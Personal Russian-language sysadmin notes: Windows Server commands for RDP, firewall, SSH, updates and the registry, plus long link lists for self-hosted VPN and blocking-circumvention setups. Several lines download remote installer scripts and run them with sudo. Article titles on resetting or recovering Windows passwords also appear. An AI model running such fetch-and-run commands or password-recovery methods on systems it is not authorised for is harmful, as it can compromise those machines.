Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -name "fDenyTSConnections" -value 0
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"

disable RDP
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -name "fDenyTSConnections" -value 1

netstat -an | find /i "3389"

Opening Ports on the Windows Firewall Using Command Line (netsh)
netsh advfirewall firewall add rule name="Open Port 9996" dir=in action=allow protocol=TCP localport=9996

Opening Ports on the Windows Firewall Using PowerShell
New-NetFirewallRule -DisplayName 'Open 9996' -Profile 'Private' -Direction Inbound -Action Allow -Protocol TCP -LocalPort 9996


SSH
Подключение к Windows по SSH как в Linux
https://github.com/PowerShell/Win32-OpenSSH

SSH on Windows Server 2019
https://techcommunity.microsoft.com/t5/ITOps-Talk-Blog/Installing-and-Configuring-OpenSSH-on-Windows-Server-2019/ba-p/309540
https://docs.microsoft.com/ru-ru/windows-server/administration/openssh/openssh_install_firstuse

Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0
Add-WindowsCapability -Online -Name OpenSSH.Client~~~~0.0.1.0

Set-Service sshd -StartupType Automatic
Set-Service ssh-agent -StartupType Automatic

Start-Service sshd
Start-Service ssh-agent



https://github.com/PowerShell/Win32-OpenSSH/releases


Установка .NET Framework 3.5 в Windows Server 2012 R2
http://winitpro.ru/index.php/2014/05/14/ustanovka-net-framework-3-5-v-windows-server-2012-r2/

смотрим
Get-WindowsFeature *Framework*

ставим
dism /online /enable-feature /featurename:NetFX3 /all

dism /online /enable-feature /featurename:NetFX3 /all /Source:d:\sources\sxs /LimitAccess
/Online – означает, что нужно обновлять текущую ОС, а не wim образ
/enable-feature /featurename:NetFX3 /all – необходимо установить платформу .NET Framework 3.5 со всеми функциями
/Source – путь к каталогу дистрибутива Windows, в котором находятся необходимые компоненты
/LimitAccess – предотвратить обращение к узлу Windows Update


Как установить Java JRE в Windows Server Core
https://www.java.com/ru/download/help/silent_install.xml
https://www.computeraudiophile.com/forums/topic/29675-how-to-how-to-install-java-jre-in-windows-server-core/


1. Скопируйте установщик JRE в локальную папку на целевой системе, например, c:\temp

2. Создайте пакетный файл с этим кодом и сохраните его также в каталоге c:\temp, например, назовите его «jre.cmd»

pushd %~dp0
start /wait jre-8u112-x64.exe INSTALLCFG=%~dp0jre.cfg

(При необходимости измените часть jre-81112-x64.exe, чтобы она соответствовала версии, которую вы фактически скачали)

3. Создайте другой файл с кодом ниже и назовите его «jre.cfg», поместите его также в c:\temp

INSTALL_SILENT=Enable
SPONSORS=Disable
NOSTARTMENU=Enable
REBOOT=Disable
EULA=Disable
AUTO_UPDATE=Disable
STATIC=Enable

можно переопределить каталог установки
INSTALLDIR=c:\Java\jre1.8.0_191

4. запустите jre.cmd и откройте диспетчер задач, вы увидите, что установщик работает
5. После завершения установки Java JRE установлена ​​и готова к работе.

добавление переменных в PATH (они здесь)
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Environment

добавить



удалить




https://webistore.ru/administrirovaniye-windows/reg-add-ili-dobavlenie-novoj-zapisi-v-reestr-windows-cherez-bat-fajl/
https://www.dmosk.ru/miniinstruktions.php?mini=regedit-cmd
http://www.bilee.com/windows-x435-3.html

значения параметров
REG QUERY	Делает выборку ключей, параметров и значений
REG ADD		Добавляет новую запись (параметр, ключ, значение)
REG DELETE	Удаляет одну или несколько записей
REG COPY	Копирует данные из одной ветки в другую
REG SAVE	Сохраняет ветку со всеми параметрами и значениями в файл
REG RESTORE	Восстанавливает ветку и данные из файла
REG LOAD	Загружает данные в указанную ветку
REG UNLOAD	Выгружает данные из указанной ветки
REG COMPARE	Сравнивает две ветки
REG EXPORT	Экспортирует все подразделы и параметры в файл .reg
REG IMPORT	Импортирует все подразделы и параметры из файла .reg
REG FLAGS	Показывает и устанавливает флаги для ветки


https://www.chemtable.com/blog/ru/windows-registry-data-types.htm
Наименование					Тип данных		Назначение
REG_BINARY						Двоичный		Двоичные данные
REG_DWORD						Числовой		Число
REG_QWORD						Числовой		64-разрядное числовое значение
REG_EXPAND_SZ					Строковый		Текст и переменные
REG_FULL_RESOURCE_DESCRIPTOR	Строковый		Идентификатор ресурса устройства
REG_LINK						Строковый		Путь к файлу
REG_MULTI_SZ					Многостроковый	Массив строк
REG_NONE						Неизвестный		Зашифрованные данные
REG_RESOURCE_LIST				Строковый		Список ресурсов устройств
REG_RESOURCE_REQUIREMENTS_LIST	Строковый		Идентификатор ресурса устройства
REG_SZ	
Строковый Текст


способ установки с Chocolatey

https://chocolatey.org/install

# Install JDK 8
choco install jdk8 -y


Модуль PSWindowsUpdate: управление обновлениями Windows из PowerShell
http://winitpro.ru/index.php/2018/10/01/pswindowsupdate-upravlenie-obnovleniyami-powershell/
Install-Module -Name PSWindowsUpdate

Обзор команд модуля PSWindowsUpdate
Список доступных командлетов модуля можно вывести так:

get-command -module PSWindowsUpdate

Вкратце опишем назначение команд модуля:

Get-WindowsUpdate — алиас для Get-WUList.
Hide-WindowsUpdate – алиас для Hide-WUUpdate.
Install-WindowsUpdate — алиас для Get-WUInstall.
Uninstall-WindowsUpdate — алиас для Get-WUUninstall.
Add-WUOfflineSync – функция позволяет устанавливать обновления из локального кэша, используя файл wsusscan.cab или wsusscn2.cab.
Add-WUServiceManager – регистрация сервера обновления на компьютере.
Get-WUHistory – выводит список установленных обновлений.
Get-WUInstall – основной командлет модуля PSWindowsUpdate. Позволяет скачать и установить обновления с сервера WSUS или Microsoft Update. Позволяет выбрать категории обновлений, конкретные обновления и указать правила перезагрузки компьютера при установке обновлений.
Get-WUInstallerStatus – проверка состояния службы Windows Installer.
Get-WURebootStatus – позволяет проверить, нужна ли перезагрузка для применения конкретного обновления.
Get-WUList – выводит список обновлений, соответствующим указанным критериям, позволяет найти и установить нужное обновление.
Get-WUServiceManager – проверка источников обновлений.
Get-WUUninstall – командлет позволяет удалить конкретное обновление по KB ID.
Hide-WUUpdate — позволяет скрыть определенные обновления от установки.
Invoke-WUInstall – управление удаленной установкой обновлений.
Remove-WUOfflineSync – удаление офлайн источника сканирования.
Remove-WUServiceManager – удаление сервера обновлений.

Get-WUinstall -MicrosoftUpdate –ListOnly

Get-WUServiceManager

Get-WUInstall -KBArticleID KB4476976 –AcceptAll


Lpksetup Command-Line Options
https://docs.microsoft.com/en-us/previous-versions//dn898585(v=vs.85)

В этом примере устанавливаются все языковые пакеты, расположенные в указанном месте.
lpksetup /i * /p

В этом примере устанавливаются три языковых пакета, которые хранятся в общей сетевой папке.
lpksetup /i ja-JP en-US es-ES /r /s /p \\networkpath\share\languagepackfolder

В этом примере удаляются два языковых пакета
lpksetup /i ja-JP en-US es-ES /r /s /p \\networkpath\share\languagepackfolder


Управление ролями в Windows Server 2008 Server Core

управлялка
https://elims.org.ua/blog/windows-zapusk-osnastok-i-elementov-upravleniya-iz-komandnoj-stroki/
https://github.com/ejsiron/Corefig

годная оболочка для HYPER-V
http://bb4win.sourceforge.net/

файловик
https://doublecmd.sourceforge.io/
\\tsclient\tmp\doublecmd...

браузер (на первое время)
https://www.qtweb.net/

удалить проги
wmic product get name,version,vendor
Get-WmiObject Win32_Product | ft name,version,vendor,packagename

https://github.com/ejsiron/Corefig
https://www.5nine.ru/products/5nine-manager-for-hyper-v-free


HyperV-2019 1434.rs5_release

(устранение проблемы с удалённым рабочим столом)
KB4470788
KB4482887
KB4483452
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
испробованное
Get-WindowsFeature
Get-WindowsFeature *Framework*

Add-WindowsFeature NET-Framework-Core -Source d:\sources\sxs
Add-WindowsFeature Remote-Desktop-Services -Source d:\sources\sxs
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
Install-Module -Name PSWindowsUpdate
Get-WUInstall -KBArticleID KB4470788 –AcceptAll
Get-WUInstall -KBArticleID KB4482887 –AcceptAll
Get-WUInstall -KBArticleID KB4483452 –AcceptAll

https://github.com/stascorp/rdpwrap/releases

???
https://computerstepbystep.com/routing_and_remote_access_service.html
REG add "HKLM\SYSTEM\CurrentControlSet\services\RemoteAccess" /v Start /t REG_DWORD /d 2 /f

restarter.bat


установка Microsoft-Windows-Subsystem-Linux
Как включить подсистему Linux в Windows Server 2016
https://docs.microsoft.com/ru-ru/windows/wsl/install-manual
Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux
Invoke-WebRequest -Uri https://aka.ms/wsl-ubuntu-1804 -OutFile Ubuntu.appx -UseBasicParsing

https://docs.microsoft.com/ru-ru/windows/wsl/install-on-server
Rename-Item ~/Ubuntu.appx ~/Ubuntu.zip
Expand-Archive ~/Ubuntu.zip ~/Ubuntu

ubuntu.exe

$userenv = [System.Environment]::GetEnvironmentVariable("Path", "User")
[System.Environment]::SetEnvironmentVariable("PATH", $userenv + "C:\Users\Administrator\Ubuntu", "User")


Invoke-WebRequest -Uri https://aka.ms/windows-terminal-preview -OutFile terminal-preview.appx -UseBasicParsing

Удаление отдельных приложений с помощью PowerShell
Get-AppxPackage [имя_пакета] | Remove-AppxPackage

Чтобы найти имя пакета, выполните следующую команду PowerShell:
Get-AppxPackage -allusers |more

Uninstall Calculator
Get-AppxPackage *calculator* | Remove-AppxPackage

Восстановить все встроенные приложения


Тонкости управления компонентами Windows

KB4476976
образ FOD

Функция совместимости приложений основных серверных компонентов по требованию (FOD)
Параметры командной строки для обслуживания пакетов DISM

Dism /online /Enable-Feature /FeatureName:TelnetClient
Dism /online /Disable-Feature /FeatureName:TelnetClient


среда рабочего стола

Установка FOD совместимости приложений

Консоль управления Microsoft (mmc.exe)
Просмотр событий (Eventvwr.msc)
Системный монитор (PerfMon.exe)
Монитор ресурсов (Resmon.exe)
Диспетчер устройств (Devmgmt.msc)
Проводник (Explorer.exe)
Windows PowerShell (Powershell_ISE.exe)
Средство управления дисками (Diskmgmt.msc)
Диспетчер отказоустойчивости кластеров (CluAdmin.msc)


сборка образов под свои нужды

Как установить Windows на USB диск
Как установить Windows 11 и Kali Linux на одну флешку

как включить ip маршрутизацию в windows
https://ru.wikihow.com/включить-IP-маршрутизацию
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Services\Tcpip\Parameters\IPEnableRouter setting, right click and select Modify. Change 0 to 1 and exit the editor.


подготовка windows 10
http://ithz.ru/how-to-create-own-windows-install-wim-image/

Отключить слежение в WIndows 10.
Запустить командную строку с правами администратора и выполнить:



Удалить не используемые встроенные в Windows 10 приложения.
Запустить Powershell с правами администратора и выполнить:



Получить список всех Windows online apps командой:
Get-AppXProvisionedPackage -online | Select PackageName

Затем удалить все программы, кроме Photos, Calculator, Camera, Store последовательно командами:
Remove-AppxProvisionedPackage -online -PackageName

После установки ОС, для окончательной настройки системы от слежения и удаления из корня диска C: файла hyberfil.sys, надо выполнить:

sc delete dmwappushservice
powercfg -h off

Команды для Панели управления Windows
Команды для Панели управления Windows
appwiz.cpl Мастер приложений (программа и функции)
control Панель управления
control admintools Административные инструменты
control color Персонализация – цвет и внешний вид
control desktop Свойства дисплея (персонализация)
control folders Свойства папок
control keyboard Свойства клавиатуры
control mouse Свойства мыши
control netconnections Свойства сети
control printers Принтеры
control schedtasks Расписание задач
control update Обновление Windows
control userpasswords Настройка учетной записи администратора
control userpasswords2 Настройка учетных записей пользователей
desk.cpl Дисплей – Разрешение экрана
devmgmt.msc Диспетчер устройств
firewall.cpl Брандмауэр Windows
inetcpl.cpl Свойства Интернета (панель управления Интернетом)
intl.cpl Региональные настройки (международные)
mmsys.cpl Свойства звука (Настройки мультимедийной системы)
ncpa.cpl Свойства сети
netplwiz Создание учетной записи пользователя
powercfg.cpl Конфигурация питания
sysdm.cpl Свойства системы
timedate.cpl Свойства даты и времени
utilman Удобный менеджер сервисных программ
wscui.cpl Центр безопасности (Windows Security Center UI)
Инструменты администрирования Windows
compmgmt.msc Управление компьютером, включая системные инструменты, хранилища, услуги и приложения
defrag Команда дефрагментации
dcomcnfg Сервисы компонентов (подробная конфигурация компонентов)
devmgmt.msc Управление устройствами
diskmgmt.msc Диспетчер разделов диска
diskpart Diskpart Command
eventvwr.msc Просмотрщик событий
fsmgmt.msc Общие папки (Управление общим доступом к файлам)
gpedit.msc Редактор групповой политики
lusrmgr.msc Локальные пользователи и группы
perfmon.msc Performance Monitor
rekeywiz Шифрование файлов

разное
Анализ реестра Windows

Как сбросить пароль администратора домена
Сброс или изменение пароля Windows с помощью Linux
Как сбросить пароль Windows
Как УЗНАТЬ пароль Windows?

Узнать ключ активации Windows


http://ru.bmstu.wiki/Microsoft_Hyper-V
Модуль Hyper-V для Windows PowerShell
Установка Hyper-V и создание виртуальной машины
PowerShell+Hyper-V
VMware PowerCLI: Управляем облаками и всем всем всем из командной строки:
Hyper-v Server 2012R2: опыт установки и настройки
Включаем дедупликацию в Windows 10
http://www.linuxloves.ru/publications/VMware_in_Azure
Установка и настройка Windows Hyper-V Server 2016
Windows, PowerShell и длинные пути
Утилиты на PowerShell для системных администраторов
https://github.com/lazywinadmin/LazyWinAdmin_GUI

Установка Win 11 с локальной учетной записью
На первом экране OOBE нажать Shift+F10 и ввести oobe\bypassnro (без пробела!)
Компьютер уйдёт в перезагрузку и на экране подключения к интернету появится пункт У меня нет интернета.



Бесплатный VPN сервер, клиент, и тд. часть 2

VPN
VPN от Amazon
Бесплатный VPN от Amazon
Бесплатный VPN от Amazon: Поднимаем VPN-сервер с помощью облачных вычислений
Как попасть в Америку. Создаём VPN-сервер в Amazon EC2
Практика: настраиваем VPN, работающий через Amazon EC2
Регистрация шарового аккаунта Amazon AWS step-by-step
Создание аккаунта (регистрация) на AWS Amazon
http://www.ubuntomania.ru/servery/amazon/444-sozdanie-akkaunta-registracziya-na-aws-amazon.html
Установка и запуск виртуального сервера Ubuntu Server на Amazon AWS (EC2)
http://www.ubuntomania.ru/servery/amazon.html
http://www.ubuntomania.ru/servery/amazon/454-ustanovka-i-zapusk-servera-na-amazon-aws.html
Как я умудрился за 1 день задолжать Amazon 12000$


l2tp
https://github.com/hwdsl2/setup-ipsec-vpn
https://raw.githubusercontent.com/hwdsl2/setup-ipsec-vpn/master/vpnsetup.sh
https://raw.githubusercontent.com/hwdsl2/setup-ipsec-vpn/master/vpnsetup_centos.sh
Установка и настройка VPN сервера на CentOS 7
Настройка IPSEC L2TP VPN-сервера на CentOS 7
How to Setup IKEv2 VPN Using Strongswan and Let's encrypt on CentOS 7
Как установить сервер L2TP vpn на CentOS 7 linux
PfSense - удалённый доступ к офисной сети через VPN (IPSec/L2TP)
Configuring L2TP connection on Centos 7
L2TP/IPsec PSK на CentOS 7
Развёртывание L2TP-сервера с IPSec / PSK
Установка и настройка IPSEC VPN сервера с StrongSwan - CentOS 7
Using StrongSwan for IPSec VPN on CentOS 7
CentOS: strongSwan site to site VPN using pre-shared key and X.509 certificates
Настройка VPN сервера (GRE/IPSec StrongSwan, OSPF Quagga)
Настраиваем L2TP VPN-сервер на платформе Linux (Debian / Ubuntu)
Как настроить сервер IKEv2 VPN с StrongSwan в Ubuntu 18.04
Создаем свой VPN-сервер. Пошаговая инструкция
L2TP/IPSEC VPN Server installation (Centos6)
IPSec всемогущий
https://github.com/hwdsl2/docker-ipsec-vpn-server
wget https://git.io/vpnsetup -O vpn.sh && sudo sh vpn.sh && sudo ikev2.sh --auto
https://raw.githubusercontent.com/hwdsl2/setup-ipsec-vpn/master/vpnsetup.sh

vpn l2tp centos7

Бесплатные VPN-серверы (L2TP/IPsec)

client
работающий рецепт под debian 8
https://soeasytomakeitwork.wordpress.com/2014/05/02/set-up-a-l2tpipsec-vpn-connection-on-ubuntu-desktop/

работающий рецепт, под ubuntu 18.04
https://20notes.net/linux/setup-l2tp-over-ipsec-client-on-ubuntu-18-04-using-gnome/
https://help.vpntunnel.com/support/solutions/articles/5000782608-vpntunnel-l2tp-installation-guide-for-ubuntu-18-04-
https://www.ekzorchik.ru/2018/08/how-to-configure-l2tp-from-under-ubuntu-bionic-desktop/

испробованное
IPSec: Туннель между Mikrotik и Openswan
какие то траблы
http://www.jasonernst.com/2016/06/21/l2tp-ipsec-vpn-on-ubuntu-16-04/
http://www.cemada.net/ubuntu-16-04-l2tp-ipsec.php
https://www.servers.ru/knowledge/dedicated-servers/how-to-setup-l2tp-over-ipsec-for-idrac-on-linux-ubuntu-16-04
https://www.elastichosts.com/blog/linux-l2tpipsec-vpn-client/
https://eerie.su/2017/01/настройка-сервера-l2tp-на-vps/
https://launchpad.net/~raharper/+archive/ubuntu/bugfixes
https://www.linux.org.ru/forum/admin/10799069
https://gist.github.com/mietek/4877cd74423bf6925b92
https://github.com/hwdsl2/setup-ipsec-vpn/blob/master/docs/clients.md#linux

IKEv2 VPN
Как настроить IKEv2 VPN в Linux
Делаем свой собственный IKEv2 VPN сервер на базе Ubuntu 20.04
IPSec IKEv2 VPN-сервер на Ubuntu
Создаем сервер VPN на IKEv2/IPsec, за 5 минут
Настройка сервера IKEv2 VPN с StrongSwan в Ubuntu 20.04
How to Set Up an IKEv2 VPN Server with StrongSwan on Ubuntu 20.04
Почему я люблю IKEv2 больше других VPN
Настройка IKEv2 MikroTik с авторизацией по сертификату
Сервер VPN IKEv2 с логином и паролем на MikroTik
Настраиваем IKEv2 VPN-сервер на роутерах Mikrotik с аутентификацией по сертификатам
IKEv2 туннель между MikroTik и StrongSwan: EAP ms-chapv2 и доступ к сайтам
Настройка MikroTik IKEv2, VPN между роутерами с SSL
https://gist.github.com/borisovonline/955b7c583c049464c878bbe43329a521
https://gist.github.com/dzcpy/6fd524a09a985bfa602944180ab443b4

https://github.com/jawj/IKEv2-setup

https://strongswan.org/download.html
strongSwan VPN Client
https://play.google.com/store/apps/details?id=org.strongswan.android
https://f-droid.org/en/packages/org.strongswan.android/

pptp
https://wiki.debian.org/ru/pptp-linux
Настройка PPTP клиента в Debian Ubuntu
Как настроить VPN с помощью PPTP
Поднимаем VPN — PPTP сервер на Ubuntu

Установка PPTP VPN-сервера на CentOs 7 для ленивых.
Простой PPTP сервер для Centos 7


OpenVPN
https://openvpn.net/download-open-vpn/
https://openvpn.net/quick-start-guide/
Installing OpenVPN Access Server On A Linux System
https://openvpn.net/vpn-server-resources/deploying-the-access-server-appliance-on-vmware-esxi/
https://openvpn.net/downloads/openvpn-as-latest-vmware.ova
https://openvpn.net/vpn-server-resources/deploying-the-access-server-appliance-on-hyper-v/
https://openvpn.net/downloads/openvpn-as-latest-hyperv.zip

Бесплатные VPN-серверы (OpenVPN)

https://help.ubuntu.ru/wiki/openvpn
Настройка OpenVPN в Ubuntu
Простая настройка OpenVPN Linux

Свой собственный VPN за 3 минуты (на docker)
https://hub.docker.com/r/umputun/dockvpn
https://github.com/umputun/dockvpn

Установка OpenVPN ( Инсталляция VPN сервера OpenVPN. )
Windows OpenVPN клиент
Android OpenVPN клиент
Apple (iOS) OpenVPN клиент
Linux OpenVPN GUI-клиент
Linux OpenVPN CLI-клиент

How to set up OpenVPN Free on Ubuntu 16.04
Как настроить сервер OpenVPN в Ubuntu 16.04
https://wiki.archlinux.org/index.php/OpenVPN_(Русский)
How To Set Up OpenVPN on Ubuntu
Установка и настройка OpenVPN-сервера в Debian
Как установить и настроить OpenVPN сервер на Debian 9 за 5 минут
How to Install and Configure OpenVPN Server on Debian 12

https://www.tuxtips.net/how-to-install-openvpn-on-centos-7-linux/
Установка и настройка сервера Openvpn на CentOS
OpenVPN-Server на Centos 7
CentOS 7 OpenVPN Server Using FreeIPA For Authentication
Установка и настройка сервера OpenVPN в Fedora 29 / CentOS 7
OpenVPN : Configure VPN Server
OpenVPN : Configure VPN Server +
How to install OpenVPN Server and Client on CentOS 7
Установка OpenVPN сервера в CentOS 7
openVPN сервер под управлением CentOS
Как установить и настроить сервер OpenVPN в CentOS 7
Настройка firewalld при работе с openvpn
Настроить openvpn на CentOS 7
Настройка OpenVPN сервера на Debian, Ubuntu, CentOS за пару минут
Как поднять личный VPN в Европе из РФ за 15 минут⁠⁠
Подробная инструкция по OpenVPN v2.3.8 на Windows server 2008R2
Одновременное использование нескольких OpenVPN на одном сервере
Продвинутое использование OpenVPN
Как подключаться к OpenVPN через прокси или Tor
Почему тормозит OpenVPN? Размер буферов приема и отправки

Настройка OpenVPN клиента
OpenVPN на Android - установка и настройка OpenVPN клиента Android

Настройка OpenVPN на Windows 7

vpn pptp openvpn centos7 ++

Настройка OpenVPN клиента
настройка клиента openvpn
подключить клиента из консоли:
openvpn --config /etc/openvpn/client/client2.ovpn &> /dev/hull
openvpn --config /etc/openvpn/client/имя_сети.ovpn --config /etc/openvpn/scripts/update-systemd-resolved.conf &> /dev/hull

подборка interface31 по Openvpn
https://interface31.livejournal.com/tag/openvpn
OpenVPN объединяем ключи и конфигурацию клиента в один файл
Отзыв сертификатов пользователей в OpenVPN
Создание ключей и сертификатов для OpenVPN при помощи Easy-RSA 3
Настройка двух и более OpenVPN-серверов на одном сервере
Настройка OpenVPN-сервера для доступа в интернет
Админу на заметку - 24. Как настроить несколько одновременных OpenVPN подключений в Windows
Организация каналов между офисами при помощи OpenVPN на платформе Linux
Организация каналов между офисами при помощи OpenVPN с дополнительной парольной защитой.
Настройка OpenVPN-сервера на роутерах Mikrotik
Настройка VPN-подключения в роутерах Mikrotik

------------------------------------------------------------------------
Запуск отдельных приложений через OpenVPN без контейнеров и виртуализации
https://github.com/Ernillew/netns-vpn
https://github.com/slingamn/namespaced-openvpn

скрипты для конфигов Openvpn
https://raw.githubusercontent.com/Nyr/openvpn-install/master/openvpn-install.sh
------------------------------------------------------------------------
OPENVPN: Запуск в фоновом режиме, настройка маршрутизации, фаервола и другие мелочи
Эталонный конфиг
Пример модифицированного конфига соединения Openvpn
Скрипт ovpn-routes
Источники:
1. Основные команды и параметры OpenVPN
Копия
2. Установка и настройка клиента OpenVPN в Ubuntu
Копия

Конфиги pptp для vpnbook.com
Общий конфиг options.pptp
Куда класть, понятно из конфигов пиров (помещаются в директорию /etc/ppp/peers)
vpnbook-ca1
vpnbook-de233
vpnbook-euro214
vpnbook-euro217
vpnbook-us1
vpnbook-us2
Скачать одним архивом с mega.nz
конфигурационные файлы для PPTP-VPN от бесплатного VPN-сервиса http://vpnbook.com

Скрипт для автоматического обновления паролей бесплатного VPN vpnbook.com
Готовый скрипт:
1. На PasteBin
2. Скачать с Mega.NZ
Используемые источники:
[Скачать копии источников в формате PDF]
Заметка в формате PDF

https://github.com/tolik-punkoff/bash-scripts/blob/master/vpnbook-get-configs
https://pastebin.com/1HKPWwre
Автоматическое получение конфигов Openvpn для бесплатного VPN от vpnbook.com

команды
$ wget https://git.io/vpn -O openvpn-install.sh
$ sudo apt install openvpn
$ sudo bash openvpn-install.sh
$ sudo openvpn --config /etc/openvpn/client.ovpn
$ sudo service openvpn start
$ sudo /etc/init.d/openvpn start

https://unix.stackexchange.com/questions/292091/ubuntu-server-16-04-openvpn-seems-not-to-start-no-logs-get-written
systemctl start openvpn@server.service
systemctl enable openvpn@server.service


SoftEtherVPN
https://www.softether.org/
http://www.softether-download.com/en.aspx
https://github.com/SoftEtherVPN/SoftEtherVPN/
https://launchpad.net/~paskal-07/+archive/ubuntu/softethervpn
SoftEther VPN — продвинутый мультипротокольный VPN-сервер и клиент
SoftEther VPN — проходящий сквозь «огненную стену»
https://wiki.sipnet.ru/index.php/VPN_-_Linux_(Debian)
Установка и настройка Softether VPN на Debian
Установка SoftEtherVPN Debian GNU/Linux
Легкая настройка SSTP VPN
Подключение к SSTP-серверу из под Linux
Настройка SSTP VPN-сервера на роутерах Mikrotik
Настройка SSTP VPN на Linux Mint
Настройка VPN Linux Ubuntu
Установка SoftEther VPN на Linux сервере Ubuntu
Как настроить SSTP-сервер на Linux
Как настроить SSTP VPN сервер через SoftEther VPN в Docker

https://github.com/Pink210/softether-easyinstall

https://launchpad.net/~eivnaes/+archive/ubuntu/network-manager-sstp
https://github.com/sorz/sstp-server
https://github.com/maxqfz/SSTP
https://gitlab.com/sstp-project/sstp-client

MS-SSTP VPN
https://play.google.com/store/apps/details?id=com.itnotepad.vpnapp
Open SSTP Client
https://play.google.com/store/apps/details?id=kittoku.osc&hl=ru

Бесплатные VPN-серверы (SSTP)

WireGuard
https://www.wireguard.com/
WireGuard — прекрасный VPN будущего?
WireGuard для подключения к домашней Raspberry pi и использование домашнего интернета удалённо
Простая настройка WireGuard Linux
VPN для Youtube, Instagram и пр⁠⁠
Настройка сети WireGuard-GUI
WireGuard - Создание личной виртуальной частной сети
WG Easy - Создание личной прокси панели
7 решений для установки и управления WireGuard на своём сервере
WireGuard и 3X-UI (Shadowsocks + VLESS) одновременно на одном сервере Ubuntu⁠⁠

https://github.com/SPIDER-L33T/wireguard-configurator
https://raw.githubusercontent.com/SPIDER-L33T/wireguard-configurator/main/wireguard-configurator.sh
https://github.com/wg-easy/wg-easy
https://github.com/WeeJeWel/wg-easy
https://github.com/leon3s/wireguard-gui

https://github.com/Nyr/openvpn-install
https://github.com/Nyr/wireguard-install
Свой VPN сервер на Wireguard с помощью Docker
https://github.com/angristan/wireguard-install

https://github.com/pivpn/pivpn

WireGuard
https://play.google.com/store/apps/details?id=com.wireguard.android&hl=ru

WireGuard VPN — лучше платных сервисов и проще OpenVPN. Полная настройка WireGuard!
https://www.youtube.com/watch?v=5Aql0V-ta8A

wireguard с поддержкой socks
https://github.com/pufferffish/wireproxy
https://github.com/artem-russkikh/wireproxy-awg

WARP
Ответ на пост «VPN на собственном сервере без настройки»⁠⁠ воспользоваться бесплатным конфигом Cloudflare WARP для Wireguard
Настройте Warp на Linux и получите неограниченный объем данных Warp Plus
для настройки wgcf необходим включённый vpn или прокси, напр. opera-proxy -country EU и в терминале сделать export http_proxy='http://127.0.0.1:18080' && export https_proxy=$http_proxy

curl https://pkg.cloudflareclient.com/pubkey.gpg | sudo gpg --yes --dearmor --output /usr/share/keyrings/cloudflare-warp-archive-keyring.gpg
echo "deb [signed-by=/usr/share/keyrings/cloudflare-warp-archive-keyring.gpg] https://pkg.cloudflareclient.com/ $(lsb_release -cs) main" | sudo tee /etc/apt/sources.list.d/cloudflare-client.list

https://github.com/ViRb3/wgcf/releases
https://github.com/rany2/warp.sh
https://web.archive.org/web/20230123223121/https://github.com/aliilapro/warp-plus-cloudflare

1.1.1.1 + WARP: более безопасный Интернет
https://one.one.one.one/ru-RU/
https://blog.cloudflare.com/warp-for-desktop/
https://developers.cloudflare.com/warp-client/get-started/linux/
https://github.com/ImMALWARE/bash-warp-generator

https://play.google.com/store/apps/details?id=com.cloudflare.onedotonedotonedotone



v2ray Xray
https://www.v2ray.com/ru/
https://github.com/v2ray/v2ray-core

https://wiki.archlinux.org/title/V2Ray
https://xtls.github.io/en/document/install.html#the-file-structure-of-the-docker-image

https://github.com/MHSanaei/3x-ui
https://raw.githubusercontent.com/mhsanaei/3x-ui/master/install.sh

V2ray Plugin
https://github.com/shadowsocks/v2ray-plugin-android
https://play.google.com/store/apps/details?id=com.github.shadowsocks.plugin.v2ray

v2rayNG
https://github.com/2dust/v2rayNG
https://play.google.com/store/apps/details?id=com.v2ray.ang
V2ray VPN-unmetered fast VPN
https://play.google.com/store/apps/details?id=free.v2ray.proxy.VPN

https://play.google.com/store/apps/details?id=com.v2raytun.android&hl=ru

https://github.com/2dust/v2rayN

https://github.com/XTLS/Xray-core
https://raw.githubusercontent.com/XTLS/Xray-install/046d9aa2432b3a6241d73c3684ef4e512974b594/install-release.sh
https://gist.github.com/Snawoot/ed111208679a27dad350235c9f6c331f
https://github.com/SaeedDev94/Xray

https://xtls.github.io/ru/document/

https://github.com/InvisibleManVPN/InvisibleMan-XRayClient
https://github.com/MatsuriDayo/NekoBoxForAndroid/releases
https://github.com/MatsuriDayo/nekoray

https://github.com/XTLS/RealiTLScanner

Как установить V2Ray прокси / VPN на Linux для использования ChatGPT
Как установить V2Ray прокси / VPN на Linux сервер от FirstByte для использования ChatGPT
Личный прокси для чайников: универсальный обход цензуры с помощью VPS, 3X-UI, Reality/CDN и Warp
Настройка лучших VPN протоколов! VLESS с XTLS-Reality на сервере XRay с установкой через 3X-UI панель
Bleeding-edge обход блокировок с полной маскировкой: настраиваем сервер и клиент XRay с XTLS-Reality быстро и просто
Программы-клиенты для протоколов недетектируемого обхода блокировок сайтов: V2Ray/XRay, Clash, Sing-Box, и другие
Обход блокировок: настройка сервера XRay для Shadowsocks-2022 и VLESS с XTLS-Vision, Websockets и фейковым веб-сайтом
FAQ по Shadowsocks/XRay/XTLS/Reality/Nekobox/etc. для обхода блокировок
Настройка VLESS + TCP + REALITY + VISION + uTLS
Установка VLESS с XTLS-Reality для работы
Современные технологии обхода блокировок: V2Ray, XRay, XTLS, Hysteria, Cloak и все-все-все
Современные технологии обхода блокировок: V2Ray, XRay, XTLS, Hysteria, Cloak и все-все-все
VPN на 3X-UI, без Docker
Xray на Keenetic / Xkeen
SSH через Xray
Не wireguard'ом единым⁠⁠
Как я адаптировал v2rayN для России или российские источники geo файлов для v2ray/sing-box/etc
Как создать свой личный VPN сервер VLESS+Reality⁠⁠
Настраиваем сервер и клиент. VPS, 3X-UI, XRay с XTLS-Reality/CDN и Warp. Подробный разбор и как это всё организовать⁠⁠
Как запустить XRay на Mikrotik. Часть 3
Как притвориться сайтом, но посмотреть YouTube. Часть 1

https://github.com/EmptyLibra/Configure-Xray-with-VLESS-Reality-on-VPS-server
https://t.me/crazy_day_admin
Обход любых блокировок⁠⁠
Продолжение поста «Обход любых блокировок»⁠⁠

Amnezia
https://ru.amnezia.org/
https://github.com/amnezia-vpn
Свой VPN в два простых шага. Инструкция
Вы нас просили и мы сделали. VPN на собственном сервере с XRay Reality за 5 минут с помощью Amnezia
Создаем свой VPN с защищенным от блокировок протоколом AmneziaWG, или WireGuard на максималках
